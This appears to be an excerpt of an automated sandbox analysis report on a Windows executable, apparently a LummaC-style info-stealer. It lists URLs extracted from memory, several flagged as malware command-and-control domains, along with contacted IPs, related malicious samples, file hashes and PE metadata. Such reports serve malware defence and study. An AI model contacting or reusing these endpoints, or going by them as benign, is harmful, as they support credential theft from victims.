http://store.steampowered.com/privacy_agreement/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com:443/profiles/76561199724331900	aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/h	aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/api_q	aspnet_regiis.exe, 00000002.00000002.1894288105.0000000002A96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	aspnet_regiis.exe, 00000002.00000003.1738326326.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1761739579.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1738208675.0000000004F93000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1761459595.0000000004F47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/apiZ	aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/privacy_agreement/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://prisonyfork.buzz:443/api	aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.microsof	aspnet_regiis.exe, 00000002.00000003.1738208675.0000000004F95000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	aspnet_regiis.exe, 00000002.00000003.1738326326.0000000004F22000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiQ0O0q	aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1866718018.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	aspnet_regiis.exe, 00000002.00000003.1738326326.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1761739579.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1738208675.0000000004F93000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1761459595.0000000004F47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apil	aspnet_regiis.exe, 00000002.00000003.1866718018.0000000002A32000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/discussions/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/?#	aspnet_regiis.exe, 00000002.00000003.1736995992.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1831852813.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1832238529.0000000002A31000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/steam_refunds/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	aspnet_regiis.exe, 00000002.00000003.1738326326.0000000004F22000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/apiB	aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiA	aspnet_regiis.exe, 00000002.00000002.1894217197.0000000002A32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://appliacnesot.buzz:443/api	aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com:443/api	aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/apipi	aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	aspnet_regiis.exe, 00000002.00000003.1805624518.0000000004F2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/account/cookiepreferences/	aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1736958147.0000000002A8C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000002.1893702239.00000000029FA000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
92.122.104.90	steamcommunity.com	European Union		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581499
Start date and time:	2024-12-27 22:37:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ForcesLangi.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/2@11/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 36 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ForcesLangi.exe

Simulations

Behavior and APIs

Time	Type	Description
16:37:55	API Interceptor	10x Sleep call for process: aspnet_regiis.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
92.122.104.90	Leside-.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	UMrFwHyjUi.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	SecuriteInfo.com.Win32.PWSX-gen.19404.14810.exe	Get hash	malicious	LummaC	Browse
	http://sneamcomnnumnlty.com/fact/actual/get	Get hash	malicious	Unknown	Browse
	https://u.to/xjPiIA	Get hash	malicious	Unknown	Browse
	https://sueamcoommunnlty.com/geting/active	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MaZjv5XeQi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
steamcommunity.com	Leside-.exe	Get hash	malicious	LummaC	Browse	92.122.104.90
	Setup.exe	Get hash	malicious	Unknown	Browse	104.121.10.34
	Setup.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	Leside-.exe	Get hash	malicious	LummaC	Browse	92.122.104.90
	Setup.exe	Get hash	malicious	Unknown	Browse	104.121.10.34
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	23.57.90.162
	grand-theft-auto-5-theme-1-installer_qb8W-j1.exe	Get hash	malicious	Unknown	Browse	95.100.135.104
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	104.73.204.126
	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Get hash	malicious	Mirai, Gafgyt	Browse	104.120.124.62
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
CLOUDFLARENETUS	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.60.24
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.58.80
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	solara-executor.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	Setup.exe	Get hash	malicious	Unknown	Browse	104.21.2.114
	Setup.exe	Get hash	malicious	Unknown	Browse	104.21.2.114
	http://proxyium.com	Get hash	malicious	Unknown	Browse	104.21.80.92
	https://cbhc9.anguatiab.ru/RpweC/	Get hash	malicious	Unknown	Browse	1.1.1.1
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.148.171

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.66.86 92.122.104.90
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 92.122.104.90
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 92.122.104.90
	search.hta	Get hash	malicious	Unknown	Browse	104.21.66.86 92.122.104.90
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 92.122.104.90
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86 92.122.104.90
	@Setup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 92.122.104.90
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86 92.122.104.90
	Solara.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 92.122.104.90
	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 92.122.104.90

Process:	C:\Users\user\Desktop\ForcesLangi.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Roaming\gdi32.dll

Download File

Process:	C:\Users\user\Desktop\ForcesLangi.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	649728
Entropy (8bit):	7.115011073807816
Encrypted:	false
SSDEEP:	12288:YSqig5JxL8kZIOWhbN4ddlannT5EbJ+vMvb4Yw8kU0khq7:YfighL8ekmd+Tie
MD5:	C69855DE2EA93BB19E8B3D9071A586FC
SHA1:	83612032AF6F152C528D1117B7CF26EDED1EB853
SHA-256:	C0A41EAEC5F6C397EADDECF77D9E29AAEC4116776122549F634D64061E631001
SHA-512:	5AC19AA55945A4A6BFC3BECABAEF515182D35C0AC99C40E7062427AF7EB0AE1CF7D650C622133FE66FBC32EF7A8A7652A10A99CAE121F02B5850D5D4860FE3C8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........b.....................A..................{w....................................................Rich...........................PE..L.....ng...........!.........j............................................... ............@.............................\|...<...P..................................\...............................x...@...............T............................text.............................. ..`.rdata...e.......f..................@..@.data...............................@....reloc..........,..................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.10860840065778
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	ForcesLangi.exe
File size:	661'504 bytes
MD5:	64f1abe3f2f65e545c54b23809c06583
SHA1:	8c32e992999dd0bf57cc45fed77c858cb4768a09
SHA256:	05617db5aed9685ac891f4a7539294603640443b4ca5534abac163a544c574fa
SHA512:	f2295e25a1496aa4f3fbb29e88cfca8d549dc1b51bd779f61dbe752c663120698e35e0a2681234bd66f069470787da7d7796c3d78fe4cec7ed67a846e676972b
SSDEEP:	12288:au0ja8+4WHQB7y9trkcVyiBFAMyhZVUEz4Pjt/ax7s2:au028tPQkcVy+yhZVUEz4PAx7
TLSH:	CFE44A1F577BF609E04A0030A59A367B9DF4EF56E107C8F20AC4E6676066861DFECE12
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ng..............0.............r@... ...@....@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x404072
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x676E97A0 [Fri Dec 27 12:03:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
jnl 00007FB0A4E07202h
cmp cl, dl

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4020	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa4000	0x664	.rsrc
